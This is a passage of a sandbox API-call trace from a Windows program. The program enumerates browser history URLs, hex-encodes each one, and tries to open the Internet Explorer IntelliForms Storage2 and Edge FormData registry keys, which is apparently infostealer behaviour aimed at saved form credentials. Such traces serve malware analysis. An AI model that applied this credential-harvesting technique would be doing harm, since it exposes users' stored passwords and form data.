lpString2="F57FAA571941D2D3D0B679FD" | out: lpString1="F57FAA571941D2D3D0B679FD") returned="F57FAA571941D2D3D0B679FD" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD", lpString2="42" | out: lpString1="F57FAA571941D2D3D0B679FD42") returned="F57FAA571941D2D3D0B679FD42" [0053.577] LocalFree (hMem=0x758a18) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B8") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42") returned 26 [0053.577] lstrlenA (lpString="B8") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.577] lstrcpyA (in: lpString1=0x758a18, lpString2="F57FAA571941D2D3D0B679FD42" | out: lpString1="F57FAA571941D2D3D0B679FD42") returned="F57FAA571941D2D3D0B679FD42" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42", lpString2="B8" | out: lpString1="F57FAA571941D2D3D0B679FD42B8") returned="F57FAA571941D2D3D0B679FD42B8" [0053.578] LocalFree (hMem=0x758820) returned 0x0 [0053.578] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="82") returned 2 [0053.578] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B8") returned 28 [0053.578] lstrlenA (lpString="82") returned 2 [0053.578] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.578] lstrcpyA (in: lpString1=0x758820, lpString2="F57FAA571941D2D3D0B679FD42B8" | out: lpString1="F57FAA571941D2D3D0B679FD42B8") returned="F57FAA571941D2D3D0B679FD42B8" [0053.578] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B8", lpString2="82" | out: lpString1="F57FAA571941D2D3D0B679FD42B882") returned="F57FAA571941D2D3D0B679FD42B882" [0053.578] LocalFree (hMem=0x758a18) returned 0x0 [0053.578] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="04") returned 2 [0053.578] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B882") returned 30 [0053.578] lstrlenA (lpString="04") returned 2 [0053.578] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.578] lstrcpyA (in: lpString1=0x754b90, lpString2="F57FAA571941D2D3D0B679FD42B882" | out: lpString1="F57FAA571941D2D3D0B679FD42B882") returned="F57FAA571941D2D3D0B679FD42B882" [0053.578] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B882", lpString2="04" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204") returned="F57FAA571941D2D3D0B679FD42B88204" [0053.578] LocalFree (hMem=0x758820) returned 0x0 [0053.578] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BF") returned 2 [0053.578] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B88204") returned 32 [0053.578] lstrlenA (lpString="BF") returned 2 [0053.578] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.578] lstrcpyA (in: lpString1=0x754cf0, lpString2="F57FAA571941D2D3D0B679FD42B88204" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204") returned="F57FAA571941D2D3D0B679FD42B88204" [0053.578] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B88204", lpString2="BF" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF") returned="F57FAA571941D2D3D0B679FD42B88204BF" [0053.578] LocalFree (hMem=0x754b90) returned 0x0 [0053.578] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6C") returned 2 [0053.578] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B88204BF") returned 34 [0053.578] lstrlenA (lpString="6C") returned 2 [0053.578] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.578] lstrcpyA (in: lpString1=0x754b90, lpString2="F57FAA571941D2D3D0B679FD42B88204BF" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF") returned="F57FAA571941D2D3D0B679FD42B88204BF" [0053.578] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B88204BF", lpString2="6C" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C") returned="F57FAA571941D2D3D0B679FD42B88204BF6C" [0053.578] LocalFree (hMem=0x754cf0) returned 0x0 [0053.578] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="55") returned 2 [0053.578] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B88204BF6C") returned 36 [0053.578] lstrlenA (lpString="55") returned 2 [0053.578] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.578] lstrcpyA (in: lpString1=0x754cf0, lpString2="F57FAA571941D2D3D0B679FD42B88204BF6C" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C") returned="F57FAA571941D2D3D0B679FD42B88204BF6C" [0053.578] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C", lpString2="55" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C55") returned="F57FAA571941D2D3D0B679FD42B88204BF6C55" [0053.578] LocalFree (hMem=0x754b90) returned 0x0 [0053.578] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="10") returned 2 [0053.578] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B88204BF6C55") returned 38 [0053.578] lstrlenA (lpString="10") returned 2 [0053.578] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.578] lstrcpyA (in: lpString1=0x750a48, lpString2="F57FAA571941D2D3D0B679FD42B88204BF6C55" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C55") returned="F57FAA571941D2D3D0B679FD42B88204BF6C55" [0053.578] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C55", lpString2="10" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C5510") returned="F57FAA571941D2D3D0B679FD42B88204BF6C5510" [0053.578] LocalFree (hMem=0x754cf0) returned 0x0 [0053.579] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="80") returned 2 [0053.579] lstrlenA (lpString="F57FAA571941D2D3D0B679FD42B88204BF6C5510") returned 40 [0053.579] lstrlenA (lpString="80") returned 2 [0053.579] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.579] lstrcpyA (in: lpString1=0x750bb8, lpString2="F57FAA571941D2D3D0B679FD42B88204BF6C5510" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C5510") returned="F57FAA571941D2D3D0B679FD42B88204BF6C5510" [0053.579] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C5510", lpString2="80" | out: lpString1="F57FAA571941D2D3D0B679FD42B88204BF6C551080") returned="F57FAA571941D2D3D0B679FD42B88204BF6C551080" [0053.579] LocalFree (hMem=0x750a48) returned 0x0 [0053.579] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.579] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.579] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.579] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.579] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.579] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.579] LocalFree (hMem=0x750bb8) returned 0x0 [0053.579] CoTaskMemFree (pv=0x736250) [0053.579] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.579] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/MLfQNntPPK-Sym.gif", lpSrch="?") returned 0x0 [0053.579] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/MLfQNntPPK-Sym.gif") returned 91 [0053.579] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2F") returned 2 [0053.579] lstrlenA (lpString="") returned 0 [0053.579] lstrlenA (lpString="2F") returned 2 [0053.579] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.579] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.579] lstrcatA (in: lpString1="", lpString2="2F" | out: lpString1="2F") returned="2F" [0053.579] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F8") returned 2 [0053.579] lstrlenA (lpString="2F") returned 2 [0053.579] lstrlenA (lpString="F8") returned 2 [0053.579] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.579] lstrcpyA (in: lpString1=0x7603f0, lpString2="2F" | out: lpString1="2F") returned="2F" [0053.579] lstrcatA (in: lpString1="2F", lpString2="F8" | out: lpString1="2FF8") returned="2FF8" [0053.579] LocalFree (hMem=0x760360) returned 0x0 [0053.579] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="87") returned 2 [0053.579] lstrlenA (lpString="2FF8") returned 4 [0053.579] lstrlenA (lpString="87") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.580] lstrcpyA (in: lpString1=0x760360, lpString2="2FF8" | out: lpString1="2FF8") returned="2FF8" [0053.580] lstrcatA (in: lpString1="2FF8", lpString2="87" | out: lpString1="2FF887") returned="2FF887" [0053.580] LocalFree (hMem=0x7603f0) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="82") returned 2 [0053.580] lstrlenA (lpString="2FF887") returned 6 [0053.580] lstrlenA (lpString="82") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.580] lstrcpyA (in: lpString1=0x7633b8, lpString2="2FF887" | out: lpString1="2FF887") returned="2FF887" [0053.580] lstrcatA (in: lpString1="2FF887", lpString2="82" | out: lpString1="2FF88782") returned="2FF88782" [0053.580] LocalFree (hMem=0x760360) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.580] lstrlenA (lpString="2FF88782") returned 8 [0053.580] lstrlenA (lpString="D4") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x767c60 [0053.580] lstrcpyA (in: lpString1=0x767c60, lpString2="2FF88782" | out: lpString1="2FF88782") returned="2FF88782" [0053.580] lstrcatA (in: lpString1="2FF88782", lpString2="D4" | out: lpString1="2FF88782D4") returned="2FF88782D4" [0053.580] LocalFree (hMem=0x7633b8) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D8") returned 2 [0053.580] lstrlenA (lpString="2FF88782D4") returned 10 [0053.580] lstrlenA (lpString="D8") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.580] lstrcpyA (in: lpString1=0x7633b8, lpString2="2FF88782D4" | out: lpString1="2FF88782D4") returned="2FF88782D4" [0053.580] lstrcatA (in: lpString1="2FF88782D4", lpString2="D8" | out: lpString1="2FF88782D4D8") returned="2FF88782D4D8" [0053.580] LocalFree (hMem=0x767c60) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.580] lstrlenA (lpString="2FF88782D4D8") returned 12 [0053.580] lstrlenA (lpString="DC") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x767c60 [0053.580] lstrcpyA (in: lpString1=0x767c60, lpString2="2FF88782D4D8" | out: lpString1="2FF88782D4D8") returned="2FF88782D4D8" [0053.580] lstrcatA (in: lpString1="2FF88782D4D8", lpString2="DC" | out: lpString1="2FF88782D4D8DC") returned="2FF88782D4D8DC" [0053.580] LocalFree (hMem=0x7633b8) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="32") returned 2 [0053.580] lstrlenA (lpString="2FF88782D4D8DC") returned 14 [0053.580] lstrlenA (lpString="32") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.580] lstrcpyA (in: lpString1=0x763478, lpString2="2FF88782D4D8DC" | out: lpString1="2FF88782D4D8DC") returned="2FF88782D4D8DC" [0053.580] lstrcatA (in: lpString1="2FF88782D4D8DC", lpString2="32" | out: lpString1="2FF88782D4D8DC32") returned="2FF88782D4D8DC32" [0053.580] LocalFree (hMem=0x767c60) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FF") returned 2 [0053.580] lstrlenA (lpString="2FF88782D4D8DC32") returned 16 [0053.580] lstrlenA (lpString="FF") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.580] lstrcpyA (in: lpString1=0x763518, lpString2="2FF88782D4D8DC32" | out: lpString1="2FF88782D4D8DC32") returned="2FF88782D4D8DC32" [0053.580] lstrcatA (in: lpString1="2FF88782D4D8DC32", lpString2="FF" | out: lpString1="2FF88782D4D8DC32FF") returned="2FF88782D4D8DC32FF" [0053.580] LocalFree (hMem=0x763478) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.580] lstrlenA (lpString="2FF88782D4D8DC32FF") returned 18 [0053.580] lstrlenA (lpString="69") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.580] lstrcpyA (in: lpString1=0x763478, lpString2="2FF88782D4D8DC32FF" | out: lpString1="2FF88782D4D8DC32FF") returned="2FF88782D4D8DC32FF" [0053.580] lstrcatA (in: lpString1="2FF88782D4D8DC32FF", lpString2="69" | out: lpString1="2FF88782D4D8DC32FF69") returned="2FF88782D4D8DC32FF69" [0053.580] LocalFree (hMem=0x763518) returned 0x0 [0053.580] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6A") returned 2 [0053.580] lstrlenA (lpString="2FF88782D4D8DC32FF69") returned 20 [0053.580] lstrlenA (lpString="6A") returned 2 [0053.580] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.580] lstrcpyA (in: lpString1=0x763518, lpString2="2FF88782D4D8DC32FF69" | out: lpString1="2FF88782D4D8DC32FF69") returned="2FF88782D4D8DC32FF69" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF69", lpString2="6A" | out: lpString1="2FF88782D4D8DC32FF696A") returned="2FF88782D4D8DC32FF696A" [0053.581] LocalFree (hMem=0x763478) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696A") returned 22 [0053.581] lstrlenA (lpString="FD") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.581] lstrcpyA (in: lpString1=0x758820, lpString2="2FF88782D4D8DC32FF696A" | out: lpString1="2FF88782D4D8DC32FF696A") returned="2FF88782D4D8DC32FF696A" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696A", lpString2="FD" | out: lpString1="2FF88782D4D8DC32FF696AFD") returned="2FF88782D4D8DC32FF696AFD" [0053.581] LocalFree (hMem=0x763518) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BC") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFD") returned 24 [0053.581] lstrlenA (lpString="BC") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.581] lstrcpyA (in: lpString1=0x758a18, lpString2="2FF88782D4D8DC32FF696AFD" | out: lpString1="2FF88782D4D8DC32FF696AFD") returned="2FF88782D4D8DC32FF696AFD" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFD", lpString2="BC" | out: lpString1="2FF88782D4D8DC32FF696AFDBC") returned="2FF88782D4D8DC32FF696AFDBC" [0053.581] LocalFree (hMem=0x758820) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="97") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC") returned 26 [0053.581] lstrlenA (lpString="97") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.581] lstrcpyA (in: lpString1=0x758820, lpString2="2FF88782D4D8DC32FF696AFDBC" | out: lpString1="2FF88782D4D8DC32FF696AFDBC") returned="2FF88782D4D8DC32FF696AFDBC" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC", lpString2="97" | out: lpString1="2FF88782D4D8DC32FF696AFDBC97") returned="2FF88782D4D8DC32FF696AFDBC97" [0053.581] LocalFree (hMem=0x758a18) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="54") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC97") returned 28 [0053.581] lstrlenA (lpString="54") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.581] lstrcpyA (in: lpString1=0x758a18, lpString2="2FF88782D4D8DC32FF696AFDBC97" | out: lpString1="2FF88782D4D8DC32FF696AFDBC97") returned="2FF88782D4D8DC32FF696AFDBC97" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC97", lpString2="54" | out: lpString1="2FF88782D4D8DC32FF696AFDBC9754") returned="2FF88782D4D8DC32FF696AFDBC9754" [0053.581] LocalFree (hMem=0x758820) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC9754") returned 30 [0053.581] lstrlenA (lpString="96") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.581] lstrcpyA (in: lpString1=0x754cf0, lpString2="2FF88782D4D8DC32FF696AFDBC9754" | out: lpString1="2FF88782D4D8DC32FF696AFDBC9754") returned="2FF88782D4D8DC32FF696AFDBC9754" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC9754", lpString2="96" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496") returned="2FF88782D4D8DC32FF696AFDBC975496" [0053.581] LocalFree (hMem=0x758a18) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="ED") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC975496") returned 32 [0053.581] lstrlenA (lpString="ED") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.581] lstrcpyA (in: lpString1=0x754b90, lpString2="2FF88782D4D8DC32FF696AFDBC975496" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496") returned="2FF88782D4D8DC32FF696AFDBC975496" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC975496", lpString2="ED" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED") returned="2FF88782D4D8DC32FF696AFDBC975496ED" [0053.581] LocalFree (hMem=0x754cf0) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="28") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC975496ED") returned 34 [0053.581] lstrlenA (lpString="28") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.581] lstrcpyA (in: lpString1=0x754cf0, lpString2="2FF88782D4D8DC32FF696AFDBC975496ED" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED") returned="2FF88782D4D8DC32FF696AFDBC975496ED" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED", lpString2="28" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED28") returned="2FF88782D4D8DC32FF696AFDBC975496ED28" [0053.581] LocalFree (hMem=0x754b90) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="84") returned 2 [0053.581] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC975496ED28") returned 36 [0053.581] lstrlenA (lpString="84") returned 2 [0053.581] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.581] lstrcpyA (in: lpString1=0x754b90, lpString2="2FF88782D4D8DC32FF696AFDBC975496ED28" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED28") returned="2FF88782D4D8DC32FF696AFDBC975496ED28" [0053.581] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED28", lpString2="84" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884") returned="2FF88782D4D8DC32FF696AFDBC975496ED2884" [0053.581] LocalFree (hMem=0x754cf0) returned 0x0 [0053.581] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B7") returned 2 [0053.582] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC975496ED2884") returned 38 [0053.582] lstrlenA (lpString="B7") returned 2 [0053.582] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.582] lstrcpyA (in: lpString1=0x750bb8, lpString2="2FF88782D4D8DC32FF696AFDBC975496ED2884" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884") returned="2FF88782D4D8DC32FF696AFDBC975496ED2884" [0053.582] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884", lpString2="B7" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884B7") returned="2FF88782D4D8DC32FF696AFDBC975496ED2884B7" [0053.582] LocalFree (hMem=0x754b90) returned 0x0 [0053.582] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="46") returned 2 [0053.582] lstrlenA (lpString="2FF88782D4D8DC32FF696AFDBC975496ED2884B7") returned 40 [0053.582] lstrlenA (lpString="46") returned 2 [0053.582] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750c70 [0053.582] lstrcpyA (in: lpString1=0x750c70, lpString2="2FF88782D4D8DC32FF696AFDBC975496ED2884B7" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884B7") returned="2FF88782D4D8DC32FF696AFDBC975496ED2884B7" [0053.582] lstrcatA (in: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884B7", lpString2="46" | out: lpString1="2FF88782D4D8DC32FF696AFDBC975496ED2884B746") returned="2FF88782D4D8DC32FF696AFDBC975496ED2884B746" [0053.582] LocalFree (hMem=0x750bb8) returned 0x0 [0053.582] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.582] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.582] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.582] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.582] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.582] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.582] LocalFree (hMem=0x750c70) returned 0x0 [0053.582] CoTaskMemFree (pv=0x756fa0) [0053.582] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.582] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/ckA1aqPB%20jL.flv", lpSrch="?") returned 0x0 [0053.582] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/ckA1aqPB%20jL.flv") returned 99 [0053.582] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E3") returned 2 [0053.582] lstrlenA (lpString="") returned 0 [0053.582] lstrlenA (lpString="E3") returned 2 [0053.582] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.582] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.582] lstrcatA (in: lpString1="", lpString2="E3" | out: lpString1="E3") returned="E3" [0053.582] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2A") returned 2 [0053.582] lstrlenA (lpString="E3") returned 2 [0053.582] lstrlenA (lpString="2A") returned 2 [0053.582] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.583] lstrcpyA (in: lpString1=0x7603f0, lpString2="E3" | out: lpString1="E3") returned="E3" [0053.583] lstrcatA (in: lpString1="E3", lpString2="2A" | out: lpString1="E32A") returned="E32A" [0053.583] LocalFree (hMem=0x760360) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E2") returned 2 [0053.583] lstrlenA (lpString="E32A") returned 4 [0053.583] lstrlenA (lpString="E2") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.583] lstrcpyA (in: lpString1=0x760360, lpString2="E32A" | out: lpString1="E32A") returned="E32A" [0053.583] lstrcatA (in: lpString1="E32A", lpString2="E2" | out: lpString1="E32AE2") returned="E32AE2" [0053.583] LocalFree (hMem=0x7603f0) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F5") returned 2 [0053.583] lstrlenA (lpString="E32AE2") returned 6 [0053.583] lstrlenA (lpString="F5") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.583] lstrcpyA (in: lpString1=0x7633b8, lpString2="E32AE2" | out: lpString1="E32AE2") returned="E32AE2" [0053.583] lstrcatA (in: lpString1="E32AE2", lpString2="F5" | out: lpString1="E32AE2F5") returned="E32AE2F5" [0053.583] LocalFree (hMem=0x760360) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="19") returned 2 [0053.583] lstrlenA (lpString="E32AE2F5") returned 8 [0053.583] lstrlenA (lpString="19") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x769e00 [0053.583] lstrcpyA (in: lpString1=0x769e00, lpString2="E32AE2F5" | out: lpString1="E32AE2F5") returned="E32AE2F5" [0053.583] 